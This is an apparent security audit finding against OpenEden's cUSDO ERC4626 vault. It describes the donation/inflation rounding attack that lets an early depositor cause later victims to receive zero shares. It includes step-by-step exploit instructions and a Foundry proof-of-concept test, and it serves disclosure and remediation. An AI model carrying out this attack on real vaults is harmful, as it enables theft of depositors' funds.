https://github.com/OpenEdenHQ/openeden.usdoexpress.audit/tree/f3f31d2ac15e3253cba342229f9d05495f95d6fd
Source: openeden.usdoexpress.audit/contracts/tokens/cUSDO.sol
***Description***
cUSDO inherits OpenZeppelin's ERC4626Upgradeable implementation without overriding deposit/mint logic. Because ERC-20 tokens can be transferred directly to the vault address (bypassing deposit / mint), an attacker can: Acquire early shares (by depositing a tiny amount). Transfer a large amount of the underlying token (USDO) directly to the vault address (a “donation” / external transfer).
After the donation, the vault’s totalAssets() increases while totalSupply() (shares) remains unchanged.
When honest users call deposit(x) afterwards, the OZ share calculation shares = floor( x * totalSupply / totalAssets ) can produce 0 for small x (due to integer truncation), so victims receive zero shares for their deposited assets — funds become stuck and early attacker shareholders gain relative ownership. This is the classic ERC4626 inflation/rounding attack.
***Impact***
High: Victims can lose funds (their deposited assets are locked in the vault without shares), while attacker(s) holding early shares see their ownership percentage inflated. The vault’s accounting semantics are broken: assets increase without corresponding shares minted, enabling theft via rounding.
Scope: Any ERC4626 vault that accepts direct token transfers and computes shares with floor(...) (OpenZeppelin default) is vulnerable unless deposits are made resistant to this rounding/donation case.
Real-world consequences: Large-scale manipulation or many small deposits by many users could result in significant value transfer to early attacker(s) with minimal cost.
***Proof of Concept***
1.Attacker deposits 1 wei via deposit(1, attacker) → receives 1 share (initial state).
2.Attacker calls USDO.transfer(address(cUSDO), bigDonation) directly (no cUSDO call). Now cUSDO.totalAssets() is huge, cUSDO.totalSupply() is still small.
3.Victim calls deposit(victimAssets, victim) with a small victimAssets (e.g., 1 wei or small number). Shares computed:
shares = floor(victimAssets * totalSupply / totalAssets) Because totalAssets is large, expression rounds down to 0.
4.Victim has no shares while vault balance contains their victimAssets. Attacker’s share represents a larger fraction of vault assets.
This can be reproduced on a testnet or local test using a simple script/test that:
Deploys ERC20 USDO, mints funds to attacker and victim.
Deploys cUSDO, sets USDO as underlying.
Attacker deposits tiny amount to cUSDO.
Attacker transfers large amount directly to cUSDO (ERC20 transfer).
Victim tries to deposit small amount; check minted shares = 0 (or extremely small).
***Proof of Code***
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.18;
import "forge-std/Test.sol";
import "../src/cUSDO.sol"; // path to your contract
import "../src/USDO.sol"; // simple ERC20 for testing
contract ERC4626InflationPoC is Test {
USDO usdo;
cUSDO cusdo;
address attacker = address(0xA11);
address victim = address(0xBEE);
function setUp() public {
usdo = new USDO("USDO","USDO");
// mint attacker & victim
usdo.mint(attacker, 1e24);
usdo.mint(victim, 1e24);
cusdo = new cUSDO();
// initialize with owner = address(this) for simplicity
cusdo.initialize(IUSDO(address(usdo)), address(this));
// give approvals
vm.prank(attacker); usdo.approve(address(cusdo), type(uint256).max);
vm.prank(victim); usdo.approve(address(cusdo), type(uint256).max);
}
function testInflationAttack() public {
// Attacker deposits 1 wei
vm.prank(attacker);
uint256 sharesA = cusdo.deposit(1, attacker);
assertEq(sharesA, 1);
// Attacker donates large amount directly to vault (plain transfer)
vm.prank(attacker);
usdo.transfer(address(cusdo), 1e18); // big donation
// Vault assets massively increased, supply still tiny
uint256 totalAssets = cusdo.totalAssets();
uint256 totalSupply = cusdo.totalSupply();
emit log_named_uint("totalAssets", totalAssets);
emit log_named_uint("totalSupply", totalSupply);
// Victim deposits small amount (e.g. 1 wei)
vm.prank(victim);
uint256 sharesV = cusdo.deposit(1, victim);
// EXPECT: sharesV == 0 (or extremely small)
emit log_named_uint("victim shares", sharesV);
assertEq(sharesV, 0); // Vulnerable behavior
}
}
***Recommended***
Apply the concrete patch: override deposit, mint, and corresponding preview* functions as shown. Include require(shares > 0).